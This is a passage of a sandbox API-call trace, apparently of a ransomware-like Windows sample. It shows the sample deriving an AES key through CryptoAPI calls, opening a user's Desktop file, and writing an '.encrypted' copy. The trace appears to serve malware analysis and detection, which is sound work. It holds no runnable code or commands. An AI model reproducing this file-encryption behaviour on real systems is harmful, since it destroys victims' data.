dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0023.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=38, lpWideCharStr=0xe8f4069bf0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.mp3") returned 38 [0023.555] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.555] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.555] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.555] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.556] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.556] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.556] CloseHandle (hObject=0x1fc) returned 1 [0023.556] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.556] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.556] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.556] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.556] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.556] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.556] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.556] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.556] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.556] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.557] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.557] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.557] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.557] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.557] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.557] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.557] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.557] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.557] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.558] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.558] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.558] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.558] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.558] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.558] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.559] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.559] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.559] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.559] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.559] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.559] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.560] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.560] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.560] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.560] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.560] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.560] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.560] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.560] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0023.561] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.562] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ur9w.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.562] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.562] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.562] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.563] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ur9w.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.563] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.563] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.563] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.563] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.564] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.564] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xf134, lpOverlapped=0x0) returned 1 [0023.565] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.568] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.568] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.568] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.568] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.569] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.569] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.569] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.569] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.569] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.569] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.569] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.570] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.570] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe090, 